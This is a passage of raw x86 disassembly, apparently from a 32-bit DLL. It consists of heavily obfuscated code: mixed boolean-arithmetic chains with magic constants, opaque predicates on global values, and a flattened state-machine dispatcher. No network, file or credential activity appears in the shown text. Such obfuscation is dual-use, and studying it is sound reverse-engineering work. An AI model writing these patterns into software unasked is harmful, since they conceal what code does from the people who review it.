and esi, 0xb4fc8582
or esi, eax
xor esi, edx
xor esi, 0xb4fc8582
or ecx, edx
not ecx
or ecx, esi
mov esi, ecx
mov eax, ecx
mov edx, ecx
xor edx, 0xe63a2ac
and edx, ecx
mov edi, ecx
not edi
mov ecx, edi
and ecx, 0x105e6680
and esi, 0xefa1997f
or esi, ecx
xor esi, 0xefa1997f
mov ecx, esi
xor ecx, edi
and ecx, esi
or eax, 0xf19c5d53
mov esi, eax
and esi, 0xf0e9b67d
and edi, 0xe020080
or edi, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xf0e9b67d
and edx, 0xf164982
or edx, esi
xor edx, edi
not eax
or eax, edx
mov esi, eax
xor esi, 0xe63a2ac
mov edx, ecx
not edx
mov dword [ebp - 0x14], edx
xor eax, 0xf19c5d53
mov edi, eax
and edi, 0x9512d829
and esi, 0x6aed27d6
or esi, edi
mov ebx, ecx
xor ebx, 0x9512d829
and ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x77180edb
and ebx, 0x88e7f124
or ebx, edx
mov edx, dword [ebp - 0x14]
or eax, edx
or edx, 0x9512d829
or edi, edx
and edx, 0x77180edb
and ecx, 0x8e52104
or ecx, edx
xor ecx, ebx
not edi
or edi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edi
xor ecx, esi
mov edx, ecx
not edx
mov esi, edx
and esi, 0xe61c7686
and ecx, 0x19e38979
or ecx, esi
xor ecx, eax
xor ecx, 0x19e38979
or edx, eax
not edx
or edx, ecx
mov eax, edx
not eax
mov esi, eax
and esi, 0x7f982d63
mov ecx, edx
and ecx, 0x8067d29c
or ecx, esi
mov esi, ecx
xor esi, 0x60000c
xor ecx, 0x1880c03
mov edi, eax
or edi, 0x1884c83
or ecx, 0x90119220
and ecx, 0x9199dea3
and esi, 0x4460000c
or esi, ecx
and edi, 0x9199dea3
mov ecx, edx
and ecx, 0x2a062150
or ecx, edi
xor ecx, esi
mov esi, ecx
xor esi, 0xba17b370
xor ecx, 0x45e84c8f
and esi, 0xcac591ea
mov edi, ecx
and edi, 0x353a6e15
or edi, esi
xor edi, 0xb94fb0ba
and ecx, 0x738a2150
or ecx, edi
mov esi, ecx
not esi
or eax, 0x8021168c
and edx, 0x41800010
and eax, 0xb22b37cc
or eax, edx
mov edi, eax
xor edi, 0xb22b37cc
xor eax, 0x45848000
mov edx, ecx
and edx, 0x77e4fb9e
xor ecx, 0xfdf8235f
and ecx, esi
and esi, 0x881b0461
or esi, edx
and eax, 0xc78d8488
mov ebx, edi
and ebx, 0x30022150
or ebx, eax
mov eax, ebx
xor eax, 0x38727b77
mov dword [ebp - 0x14], eax
and eax, 0x207c480
and edi, 0x71882150
or edi, eax
mov dword [ebp - 0x18], edi
mov edi, esi
xor edi, 0x77e4fb9e
mov eax, edi
or eax, 0xfdf8235f
mov dword [ebp - 0x1c], esi
xor esi, 0x30000
mov edx, eax
and edx, 0x203cadf8
and esi, 0x2035000
or esi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0x203cadf8
and ecx, 0xdfc35207
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
xor eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
xor edx, 0x88000020
mov ecx, edi
and ecx, 0x20ff6447
and edx, 0xdf009bb8
or edx, ecx
mov esi, edx
xor ebx, 0xc78d8488
or edi, ebx
and ebx, 0x208b2440
mov edx, dword [ebp - 0x14]
and edx, 0xdf009bb8
or edx, ebx
mov ecx, eax
xor ecx, 0x1000
xor edx, esi
not edi
or edi, edx
xor eax, 0xffffe7df
mov edx, eax
and edx, 0x89c1eb24
and ecx, 0x763e14db
or ecx, edx
xor ecx, edi
xor ecx, 0x763e14db
or eax, edi
not eax
or eax, ecx
mov edx, eax
xor edx, 0x738a2150
xor eax, 0x8c75deaf
mov esi, eax
and esi, 0x43308064
mov ecx, edx
and ecx, 0xbccf7f9b
or ecx, esi
mov esi, ecx
xor esi, 0x43300044
xor ecx, 0xbccf7f9b
mov edi, ecx
and edi, 0xbc0280a2
and esi, 0x43fd7f5d
or esi, edi
mov edi, dword [0x10045904]
and edx, 0xbc0280a2
and eax, 0x43fd7f5d
or eax, edx
xor eax, esi
not eax
or eax, ecx
cmp eax, 0xffffffff
sete byte [ebp - 0x4d]
cmp edi, 0xa
setl byte [ebp - 0x4e]
mov eax, 0xffdacc08
jmp 0x1000f9b0
movzx ecx, byte [ebp - 0x4d]
movzx edx, byte [ebp - 0x4e]
mov eax, ecx
xor al, 1
mov byte [ebp - 0x20], al
mov ah, cl
and ah, al
xor ah, 1
mov ch, cl
xor ch, ah
or ah, cl
xor ah, 1
or ch, ah
mov dh, ch
xor dh, 1
mov al, dh
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dh
mov dh, al
xor dh, 1
and dh, al
xor dh, 1
mov ch, al
xor ch, dh
or dh, al
xor dh, 1
or dh, ch
mov byte [ebp - 0x18], dh
mov bh, dh
xor bh, 1
mov bl, dl
xor bl, 1
mov al, bl
and al, dl
xor al, 1
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
mov dh, al
xor dh, 1
and dh, al
mov al, dh
xor al, 1
and al, dh
xor al, 1
mov ch, dh
xor ch, al
or al, dh
xor al, 1
or al, ch
mov ch, al
xor ch, 1
and ch, bl
and al, dl
or al, ch
mov ch, dh
xor ch, dl
or dh, dl
xor dh, 1
or dh, ch
xor al, 1
mov dl, al
xor dl, dh
or al, dh
xor al, 1
or al, dl
mov ch, al
xor ch, 1
mov dl, ch
and dl, al
xor dl, 1
or dl, ch
xor dl, 1
or dl, al
mov al, dl
xor al, 1
mov ch, al
and ch, dl
xor al, ch
xor ch, 1
or ch, dl
xor ch, 1
or ch, al
movzx edx, byte [ebp - 0x18]
mov byte [ebp - 0x14], bh
and dl, bh
xor dl, 1
mov al, bh
xor al, dl
or dl, bh
xor dl, 1
mov byte [ebp - 0x1c], dl
or al, dl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov dh, ah
mov dl, byte [ebp - 0x20]
or dh, dl
mov eax, edx
and al, dh
xor dh, 1
and cl, dh
or cl, al
mov al, dh
xor al, dl
or dh, dl
xor dh, 1
or dh, al
xor dh, 1
or dh, cl
mov al, ch
xor al, 1
mov bh, ch
and bh, al
mov cl, bh
mov dl, al
mov byte [ebp - 0x28], al
xor cl, al
and cl, bh
mov byte [ebp - 0x24], cl
xor bh, 1
mov cl, ch
mov byte [ebp - 0x2c], ch
mov al, ch
xor al, bh
or bh, ch
xor bh, 1
or bh, al
mov al, ch
and al, bh
xor bh, 1
mov ch, bh
and ch, dl
or ch, al
or bh, cl
xor bh, 1
or bh, ch
mov eax, ebx
xor al, 1
mov ch, bl
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, bl
mov bl, ch
xor bl, 1
mov eax, ebx
and al, ch
xor al, 1
or al, bl
xor al, 1
or al, ch
mov ch, dh
xor ch, 1
mov bl, dh
and bl, ch
xor bl, 1
mov dl, ch
xor dl, bl
or bl, ch
xor bl, 1
or bl, dl
mov cl, al
xor cl, 1
mov dl, cl
and dl, al
xor cl, dl
xor dl, 1
mov ah, al
or ah, dl
xor ah, 1
or cl, ah
xor bl, cl
xor dl, al
or dl, ah
mov cl, dl
xor cl, ch
mov ah, cl
and cl, dl
and ah, ch
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
xor ch, al
or al, dh
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ah, cl
xor ah, 1
and dl, ah
or ah, al
and al, cl
or al, dl
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and al, cl
and bl, dl
or bl, al
mov eax, ecx
or al, dl
xor dl, cl
xor al, 1
or dl, al
mov ch, dl
xor ch, 1
and dl, ch
xor dl, 1
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
xor dl, bl
mov eax, ebx
xor al, ch
or ch, bl
xor ch, 1
or ch, al
mov cl, bh
xor cl, 1
xor dl, 1
xor ch, 1
or ch, dl
mov edx, ecx
and dl, bh
xor dl, 1
mov al, bh
xor al, dl
or dl, bh
xor dl, 1
or al, dl
or dl, cl
mov bl, dl
xor bl, 1
mov ah, bl
and ah, dl
xor bl, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, bl
mov dl, ah
xor dl, 1
mov bl, dl
and bl, ah
xor bl, 1
or bl, ah
xor bl, 1
or bl, dl
and cl, bl
xor bl, 1
and bl, bh
or bl, cl
or dl, bh
xor bl, 1
mov cl, bl
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov cl, al
xor cl, 1
mov edx, ebx
xor dl, 1
mov ah, bl
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, bl
mov bh, ah
and bh, al
xor ah, 1
and ah, cl
or ah, bh
and bl, al
and cl, dl
or cl, bl
or dl, al
xor cl, 1
mov al, cl
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov al, ah
xor al, 1
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
and ah, cl
or al, cl
xor cl, 1
and dl, cl
xor al, 1
or al, dl
or al, ah
mov bl, ch
xor bl, 1
mov edx, ebx
and dl, ch
xor dl, 1
mov cl, ch
xor cl, dl
or dl, ch
xor dl, 1
or dl, cl
mov cl, dl
xor cl, 1
and dl, cl
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
xor dl, 1
mov cl, dl
or cl, al
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
mov ah, al
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, al
xor ah, ch
mov al, ah
and ah, ch
xor al, 1
and bl, al
or ah, bl
mov edx, ecx
xor dl, 1
xor ah, 1
or ah, al
mov al, cl
and cl, dl
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
xor al, ah
xor cl, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov edx, ecx
xor dl, 1
and cl, ah
or ah, dl
and dl, al
or dl, cl
xor dl, 1
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov byte [ebp - 0x20], dl
mov bh, byte [ebp - 0x18]
movzx ecx, byte [ebp - 0x1c]
or cl, bh
xor cl, 1
or cl, bh
mov eax, ecx
xor al, 1
mov bl, cl
and bl, al
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
movzx eax, byte [ebp - 0x14]
and al, cl
or cl, bh
xor cl, 1
and bl, bh
or bl, al
or cl, bl
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, bl
mov ah, al
and al, cl
or dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or al, ah
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
movzx edx, byte [ebp - 0x24]
mov ecx, edx
mov dh, dl
mov bl, byte [ebp - 0x2c]
xor dh, bl
and dh, dl
xor dl, 1
mov ch, byte [ebp - 0x28]
mov ah, ch
and ah, dl
and cl, bl
or cl, ah
xor cl, 1
or cl, dl
xor dl, ch
and dl, bl
mov ah, dl
xor ah, 1
xor dl, dh
xor dh, 1
or dh, ah
mov ah, cl
xor ah, 1
xor dh, 1
or dh, dl
and cl, ah
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
xor cl, dh
mov dl, ah
xor dl, dh
or dh, ah
xor dh, 1
or dh, dl
mov dl, cl
xor dl, dh
or dh, cl
xor dh, 1
or dh, dl
mov cl, al
xor cl, 1
mov dl, cl
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov cl, dl
xor cl, al
or al, dl
xor al, 1
or al, cl
mov cl, dh
xor cl, 1
and cl, al
xor al, 1
and al, dh
or al, cl
and bl, bh
mov cl, ch
mov ah, byte [ebp - 0x14]
xor cl, ah
and ah, ch
or ah, bl
mov dl, ah
xor dl, bh
and dl, ah
and cl, ch
or ch, bh
xor cl, 1
mov ah, cl
xor ah, ch
or cl, ch
xor cl, 1
or cl, ah
xor dl, 1
xor cl, 1
mov ah, dl
or ah, cl
xor cl, dl
xor cl, 1
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov edx, eax
or dl, ah
xor dl, 1
xor ah, al
or dl, ah
mov dh, dl
xor dh, 1
or cl, al
xor cl, 1
and ah, al
or ah, cl
mov al, dh
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, dh
mov ecx, eax
xor cl, 1
and cl, ah
xor ah, 1
and al, ah
or al, cl
or ah, dl
xor al, 1
mov ecx, eax
xor cl, ah
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
or cl, dl
xor cl, 1
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, ah
or cl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
or dl, al
xor al, dl
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov al, ah
xor al, cl
or cl, dl
and al, dl
xor al, 1
mov dh, cl
xor dh, al
or al, cl
xor al, 1
or al, dh
mov ecx, eax
xor cl, 1
and ah, cl
and al, dl
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ch, byte [ebp - 0x20]
mov dl, ch
xor dl, 1
and dl, ch
xor dl, 1
mov ah, ch
xor ah, dl
or dl, ch
xor dl, 1
or dl, ah
mov ah, ch
or ah, al
xor ah, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
mov cl, al
or cl, ah
xor dl, 1
or dl, al
xor al, ch
mov ch, dl
xor ch, 1
or al, ah
mov ah, al
xor ah, 1
and ah, dl
or dl, al
and al, ch
or al, ah
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor dl, 1
xor al, 1
or al, ah
xor al, 1
or cl, al
mov ah, al
or ah, dl
xor al, dl
xor al, 1
and al, dl
xor al, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and ch, cl
and dl, cl
or dl, al
mov al, ch
xor al, dl
test al, 1
mov esi, 0x853653e
mov edi, 0xbcb596b3
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, 1
cmove eax, esi
nop word cs:[eax + eax]
cmp eax, 0xffdacc07
jg 0x10010b60
cmp eax, 0xbcb596b2
jg 0x10011b00
cmp eax, 0x9b0056f5
jle 0x1001267e
cmp eax, 0xb3498052
jg 0x1001412e
cmp eax, 0xaab0d564
jg 0x10015321
cmp eax, 0x9b0056f6
je 0x1001966d
cmp eax, 0x9b49e27f
jne 0x1000f9b0
mov eax, dword [0x10045900]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not eax
mov esi, eax
mov edi, eax
and edi, 0x180c8420
and edx, 0x417853
or edx, edi
mov edi, edx
xor edi, 0x2011
xor edx, 0x10b88388
and edx, 0x10f9dbca
and edi, 0x8042431
or edi, edx
mov edx, ecx
or esi, 0x1049d842
and esi, 0x10f9dbca
and edx, 0xe7020004
or edx, esi
xor edx, edi
mov edi, edx
xor edi, 0x47000204
xor edx, 0x184dfc73
and edi, 0x5f41f264
mov esi, edx
and esi, 0xa0be0d9b
or esi, edi
mov ebx, eax
xor esi, 0x395150b1
and edx, 0x6610a2d5
or edx, esi
mov edi, ecx
and ebx, 0x10301131
and edi, 0x240088c0
or edi, ebx
mov ebx, ecx
xor ebx, 0x343099f1
and ebx, ecx
mov esi, ecx
xor edi, 0x240088c0
or edi, ebx
not ebx
and ebx, 0xcbcf660e
and edi, 0x343099f1
or edi, ebx
mov ebx, eax
not edi
or edi, eax
mov ecx, eax
and esi, 0xfa68972d
and ebx, 0x59768d2
or ebx, esi
xor ebx, 0x6387ca07
and ecx, 0x99ef5d2a
or ecx, ebx
mov eax, ecx
not eax
and eax, edx
not edx
mov esi, edx
xor esi, ecx
and esi, edx
and ecx, edx
or ecx, eax
or ecx, esi
mov eax, ecx
xor eax, 0x64100211
mov edx, ecx
xor edx, 0x99ef5d2a
and eax, 0x64301611
xor ecx, 0xeddf4b7d
and ecx, edx
and edx, 0x10000046
or edx, eax
xor edx, 0x10000046
or ecx, edx
mov eax, ecx
xor eax, 0x34008a0
xor ecx, 0x74301657
mov esi, ecx
or esi, edi
mov edx, ecx
and edx, 0x8c8fe758
and eax, 0x737018a7
or eax, edx
xor eax, 0x8c8fe758
or eax, edi
not edi
mov edx, esi
not edx
not eax
or ecx, edi
not ecx
or ecx, eax
mov eax, esi
and eax, 0x7d06eb78
xor esi, 0xf263b0d2
and esi, edx
and edx, 0x82f91487
or edx, eax
mov edi, edx
xor edi, 0x82f91487
mov ebx, edx
xor ebx, 0x709aa455
and ebx, edi
mov eax, ebx
not eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
and eax, 0x77f8fbeb
and ebx, 0x88070414
or ebx, eax
mov eax, esi
not eax
or dword [ebp - 0x14], eax
and eax, 0x77f8fbeb
and esi, 0x88070414
or esi, eax
xor esi, ebx
mov eax, dword [ebp - 0x14]
not eax
or eax, esi
xor eax, ecx
mov ebx, eax
xor edx, 0x7d06eb78
mov eax, edx
and eax, 0x7863a0d1
and edi, 0x879c5f2e
or edi, eax
mov esi, ebx
xor esi, 0x44d09
xor edi, ecx
xor edi, 0x879c5f2e
or edx, ecx
not edx
or edx, edi
mov ecx, edx
not ecx
mov edi, ebx
xor edi, 0xf263b0d2
mov eax, edi
and eax, 0x1dbb3266
and esi, 0xe244cd99
or esi, eax
or edi, edx
and edx, 0x1dbb3266
and ecx, 0xe244cd99
or ecx, edx
xor ecx, esi
not edi
or edi, ecx
mov edx, edi
mov ecx, edi
mov dword [ebp - 0x14], edi
mov esi, edi
not ecx
mov eax, ecx
and eax, 0x20684920
and edx, 0x416b01c
or edx, eax
xor edx, 0x416b01c
mov eax, ecx
and eax, 0xdb8106c3
or eax, edx
mov edx, eax
not edx
and edx, 0x14f3291b
and eax, 0xeb0cd6e4
or eax, edx
mov edx, eax
xor edx, 0x14f3291b
and edx, eax
mov eax, ecx
and eax, 0xb20901
and esi, 0x1441201a
or esi, eax
mov eax, esi
xor eax, 0x10012010
or eax, 0x9000680
xor esi, 0x20801
and esi, 0x442080b
and eax, 0x19b12790
or eax, esi
mov esi, eax
xor esi, 0x19b12790
xor eax, 0xe64ed86f
mov edi, edx
not edi
and esi, edi
or edi, eax
and eax, edx
not edi
or eax, esi
or eax, edi
mov dword [ebp - 0x18], eax
mov edx, eax
xor edx, 0x14f3291b
mov esi, eax
xor esi, 0xeb0cd6e4
mov eax, esi
mov edi, esi
mov dword [ebp - 0x1c], esi
and eax, 0xd0400422
mov esi, edx
mov ebx, edx
mov dword [ebp - 0x20], edx
and esi, 0xa30e900
or esi, eax
mov edx, esi
xor edx, 0x2200900
xor esi, 0xa50112bc
and esi, 0xad11f2bc
and edx, 0x52600d02
or edx, esi
mov eax, edi
or eax, 0x8810e020
and eax, 0xad11f2bc
mov esi, ebx
and esi, 0x8e0041
or esi, eax
xor esi, edx
mov eax, edi
and eax, 0xba3c2101
and ebx, 0x45c3defe
or ebx, eax
not esi
xor ebx, 0x45c3defe
or ebx, esi
mov edx, dword [ebp - 0x14]
mov esi, edx
xor esi, 0x9f4647ab
and esi, edx
and ecx, 0x97444288
and edx, 0x8020523
or edx, ecx
mov eax, edx
xor eax, 0x121
xor edx, 0xf7fdfadc
mov ecx, edx
and ecx, 0xc9a71c8a
and eax, 0x16404321
or eax, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0xc9a71c8a
and esi, 0x3658e375
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov eax, edx
xor eax, 0x60b9b854
mov ecx, edx
xor ecx, 0x884446a1
and ecx, 0xe875fee1
xor edx, 0x90541736
and edx, eax
mov esi, eax
and esi, 0x178a011e
or esi, ecx
mov eax, esi
xor eax, 0x178a011e
mov ecx, eax
and ecx, 0xf0edaf62
or edx, ecx
xor esi, 0x28309a40
and esi, 0x38329b44
mov ecx, eax
and ecx, 0xc7cd64bb
or ecx, esi
xor ecx, 0xe2427666
and eax, 0xda70ed22
or eax, ecx
xor edx, 0xd562bdbf
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8667d71f
and eax, 0x799828e0
or eax, ecx
mov esi, eax
xor esi, 0x799828e0
mov ecx, eax
xor ecx, 0x8667d71f
xor eax, 0xa81c388
and eax, esi
mov edx, ecx
and edx, 0xa9874b71
mov edi, esi
and esi, 0x5678b48e
or esi, edx
or edi, 0x8ce61497
mov edx, edi
and edx, 0xb6217c2a
not esi
or esi, ecx
mov dword [ebp - 0x38], esi
and ecx, 0x41188340
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0xb6217c2a
and eax, 0x49de83d5
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov esi, ebx
not esi
mov dword [ebp - 0x28], esi
mov eax, esi
and eax, 0x5678b48e
mov ecx, ebx
and ecx, 0xa9874b71
or ecx, eax
mov eax, ecx
xor eax, esi
and eax, ecx
mov edx, ebx
mov dword [ebp - 0x30], ebx
and edx, 0xd03f28e2
mov ecx, esi
and ecx, 0x2fc0d71d
or ecx, edx
mov edx, edi
xor edx, 0x8ce61497
mov dword [ebp - 0x24], edx
xor edi, 0x7319eb68
mov dword [ebp - 0x2c], edi
and edx, 0x26499d21
mov esi, edi
and esi, 0xd9b662de
or esi, edx
xor esi, 0x703129af
and edi, 0x5678b48e
or edi, esi
mov dword [ebp - 0x14], edi
mov esi, eax
not esi
mov edx, esi
and edx, 0xed609059
and eax, 0x129f6fa6
or eax, edx
xor ecx, 0x86479c6c
or ecx, ebx
mov edx, ecx
xor edx, 0x129f6fa6
mov ebx, edx
and ebx, ecx
or esi, ecx
not ecx
and edx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xb1f0d414
and ebx, 0x4e0f2beb
or ebx, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0xb1f0d414
and edx, 0x4e0f2beb
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
xor ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x8e75ce13
and ecx, 0x718a31ec
or ecx, eax
mov eax, esi
not eax
or edx, esi
and esi, 0x8e75ce13
and eax, 0x718a31ec
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x38]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa2292107
xor eax, 0xdceb663d
and eax, ecx
and ecx, 0x5dd6def8
or ecx, edx
mov edx, dword [ebp - 0x14]
mov edi, edx
not edi
mov dword [ebp - 0x5c], edi
mov esi, edx
and esi, 0x231499c2
xor edx, 0xdceb663d
and edx, edi
or edx, esi
mov esi, ecx
xor esi, 0xa2292107
mov dword [ebp - 0x38], esi
or esi, 0xdceb663d
mov edi, ecx
xor ecx, 0x1098c0
mov ebx, esi
and ebx, 0x5a72224
and ecx, 0x221099c2
or ecx, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x5a72224
and eax, 0xfa58dddb
or eax, ebx
xor eax, ecx
not esi
or esi, eax
xor esi, edx
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
and eax, 0x3d3773a3
mov edx, dword [ebp - 0x14]
and edx, 0xc2c88c5c
or edx, eax
xor edi, 0x40c08c58
mov eax, dword [ebp - 0x38]
or ecx, eax
and eax, 0x3d3773a3
and edi, 0xc2c88c5c
or edi, eax
xor edi, edx
not ecx
or ecx, edi
mov edx, esi
not edx
mov eax, edx
and eax, 0xe372f78f
and esi, 0x1c8d0870
or esi, eax
xor esi, ecx
or edx, ecx
xor esi, 0x1c8d0870
not edx
or edx, esi
mov edi, dword [ebp - 0x34]
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xbffa2ed2
mov esi, edi
and esi, 0x4005d12d
or esi, ecx
mov ecx, esi
xor ecx, 0x41100
xor esi, 0x84080492
or esi, 0x2a800200
and esi, 0xee8946b3
and ecx, 0x1163100
or ecx, esi
or eax, 0xc40944b3
and eax, 0xee8946b3
and edi, 0x1060884c
or edi, eax
xor edi, ecx
mov ecx, edx
xor ecx, 0xc51f75b3
and ecx, edx
mov eax, edx
not edx
or eax, 0x3ae08a4c
mov esi, eax
and esi, 0xf9f730cc
and edx, 0x4084533
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xf9f730cc
and ecx, 0x608cf33
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
xor esi, eax
not esi
and esi, edi
xor esi, eax
mov eax, dword [ebp - 0x30]
mov ecx, eax
mov edx, dword [ebp - 0x2c]
xor ecx, edx
and ecx, eax
mov edi, dword [ebp - 0x28]
and edi, 0xa4ae185a
and eax, 0x5b51e7a5
or eax, edi
and edx, 0xa4ae185a
mov edi, dword [ebp - 0x24]
and edi, 0x5b51e7a5
or edi, edx
xor edi, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x10991631
and ecx, 0xef66e9ce
or ecx, edx
mov edx, edi
not edx
or eax, edx
and edx, 0x10991631
and edi, 0xef66e9ce
or edi, edx
xor edi, ecx
not eax
or eax, edi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x716e9a8c
and ecx, 0x8e916573
or ecx, edx
xor ecx, 0x716e9a8c
xor eax, ecx
and eax, ecx
mov ecx, eax
not ecx
mov edx, esi
xor edx, ecx
and ecx, 0x3507b4a8
and eax, 0xcaf84b57
or eax, ecx
and edx, esi
xor eax, esi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xb2b2d85
and edx, 0xf4d4d27a
or edx, esi
mov esi, eax
xor esi, 0x34049028
xor eax, 0xcaf84b57
or ecx, eax
and eax, 0xb2b2d85
and esi, 0xf4d4d27a
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x245b6e3e
mov esi, ecx
and esi, 0xdba491c1
or esi, edx
xor esi, 0xdba491c1
mov edi, eax
and edi, ecx
or edi, esi
mov edx, edi
not edx
and edi, 0x6071ee68
mov esi, edx
and esi, 0x9f8e1197
or esi, edi
xor esi, 0xaaac38b0
and edx, 0xcaddd6d8
or edx, esi
or eax, 0x5000107
and ecx, 0x8ad04050
and eax, 0x450d978f
or eax, ecx
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x42cb578f
xor edx, 0xdea9a5a3
and edx, ecx
and ecx, 0xbd34a870
or ecx, esi
mov esi, ecx
xor esi, 0xbd34a870
mov edi, ecx
xor edi, 0x639d0dd3
and edi, esi
or edx, edi
mov ebx, eax
xor ebx, 0x450d978f
mov edi, eax
xor edi, 0xbaf26870
mov dword [ebp - 0x14], edi
or dword [ebp - 0x14], ebx
xor eax, 0x405bccd0
and eax, dword [ebp - 0x14]
and eax, 0xcbdfdedc
xor eax, edx
xor ecx, 0x42cb578f
mov edx, ecx
and edx, 0xf6d5595e
and esi, 0x92aa6a1
or esi, edx
or ecx, ebx
and ebx, 0xc2d55058
and edi, 0x92aa6a1
or edi, ebx
xor edi, esi
not ecx
or ecx, edi
mov esi, eax
xor esi, 0xdfffffff
mov edx, esi
and edx, 0xb458ff8e
and eax, 0x4ba70071
or eax, edx
mov edx, ecx
not edx
or esi, ecx
and ecx, 0xb458ff8e
and edx, 0x4ba70071
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0x8095f2e5
and eax, esi
or esi, 0x7f6a0d1a
mov edx, esi
and edx, 0x2c2015d
and ecx, 0x8015f2a0
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x2c2015d
and eax, 0xfd3dfea2
or eax, edx
xor eax, ecx
mov edi, dword [ebp - 0x18]
xor edi, 0x14f3291a
mov ecx, dword [ebp - 0x20]
and edi, ecx
not esi
or esi, eax
mov edx, dword [ebp - 0x1c]
mov eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
not ecx
or ecx, edx
and edx, 1
or edi, edx
mov eax, edi
not eax
mov edx, eax
and edx, 0xdc260db
and edi, 0xf23d9f24
or edi, edx
mov dword [ebp - 0x18], edi
mov edx, ecx
or eax, ecx
mov edi, ecx
not ecx
xor edx, 0xf23d9f24
and edx, ecx
or ecx, 0xf23d9f24
mov ebx, ecx
and ebx, 0x489198e5
and edi, 0x542601a
or edi, ebx
mov ebx, edx
not ebx
or ecx, ebx
and ebx, 0x489198e5
and edx, 0xb76e671a
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edi, dword [ebp - 0x18]
mov edx, edi
xor edx, edi
not edx
and edx, ecx
xor edx, edi
not eax
or eax, edx
mov edx, eax
not edx
and eax, 0x7b9c330b
and edx, 0x8463ccf4
or edx, eax
mov ecx, edx
xor ecx, 0x23c830
xor edx, 0x6b0c1300
and edx, 0xef4c17c4
and ecx, 0x10b3e83b
or ecx, edx
mov edi, ecx
xor edi, 0x10b3e83b
mov eax, ecx
xor eax, 0x800c1400
